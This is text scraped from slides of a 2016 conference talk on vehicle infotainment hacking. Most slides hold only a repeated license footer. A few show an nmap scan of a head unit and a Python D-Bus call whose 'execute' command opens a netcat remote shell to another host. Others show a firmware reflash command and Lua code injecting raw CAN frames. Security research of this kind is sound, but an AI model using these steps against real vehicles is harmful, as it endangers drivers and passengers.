  • 21. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
  • 22. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
  • 23. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
  • 24. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
  • 25. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
  • 26. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
  • 27. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
  • 28. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
  • 29. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
  • 30. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
  • 31. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
  • 32. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
  • 33. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
  • 34. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
  • 35. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
  • 36. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp. Multiple Bus (max 1Mbps) UART or I2C (19.2Kbaud) High Speed and Reliable (10Mbps) Optical fiber (150Mbps)
  • 37. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp. SAE J1979
  • 38. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
  • 39. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
  • 40. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
  • 41. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
  • 42. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
  • 43. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
  • 44. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
  • 45. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
  • 46. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp. Starting Nmap 6.01 ( http://nmap.org ) at 2015-07-26 11:23 CDT Nmap scan report for 192.168.5.1 Host is up (0.0036s latency). PORT STATE SERVICE 2011/tcp open raid-cc 2021/tcp open servexec 4400/tcp open unknown 6010/tcp open x11 6020/tcp open unknown 6667/tcp open irc 51500/tcp open unknown 65200/tcp open unknown
  • 47. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp. https://www.freedesktop.org/wiki/Software/dbus/
  • 48. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp. #!python import dbus bus_obj = dbus.bus.BusConnection("tcp:host=192.168.5.1, port=6667") proxy_object = bus_obj.get_object( 'com.harman.service.NavTrailService', '/com/harman/service/NavTrailService') playerengine_iface = dbus.Interface( proxy_object, dbus_interface='com.harman.ServiceIpc') print playerengine_iface.Invoke( 'execute', '{"cmd":"netcat -l -p 6666 | /bin/sh | netcat 192.168.5.109 6666"}')
  • 49. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp. 21.0.0.0/8
  • 50. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp. 21.0.0.0/8
  • 51. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp. 21.0.0.0/8 21.0.0.0/8
  • 52. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp. iocupdate -c 4 -p usr/share/V850/cmcioc.bin
  • 53. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp. SCLK MOSI MISO SS SCLK MOSI MISO SS ipc = require("ipc") file = '/dev/ipc/ch7' g = assert(ipc.open(file)) -- f0,02,39|91,LEN,CAN1,CAN2,CAN3,CAN4,DATA0,DATA1... g:write(0xf0, 0x02, 91, 0x08, 0xf1, 0x86, 0xda, 0xf8, 0x05, 0x2F, 0x51, 0x06, 0x03, 0x10, 0x00, 0x00)
  • 54. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
  • 55. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp. 
  • 56. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp. Domande? Italian ‫ة‬َّ‫ي‬َ‫أ‬ ‫ِب‬‫ل‬‫ا‬َ‫ط‬َ‫م‬ Arabic ¿Preguntas? Spanish Questions? English tupoQghachmey Klingon Sindarin Japanese Ερωτήσεις? Greek вопросы? Russian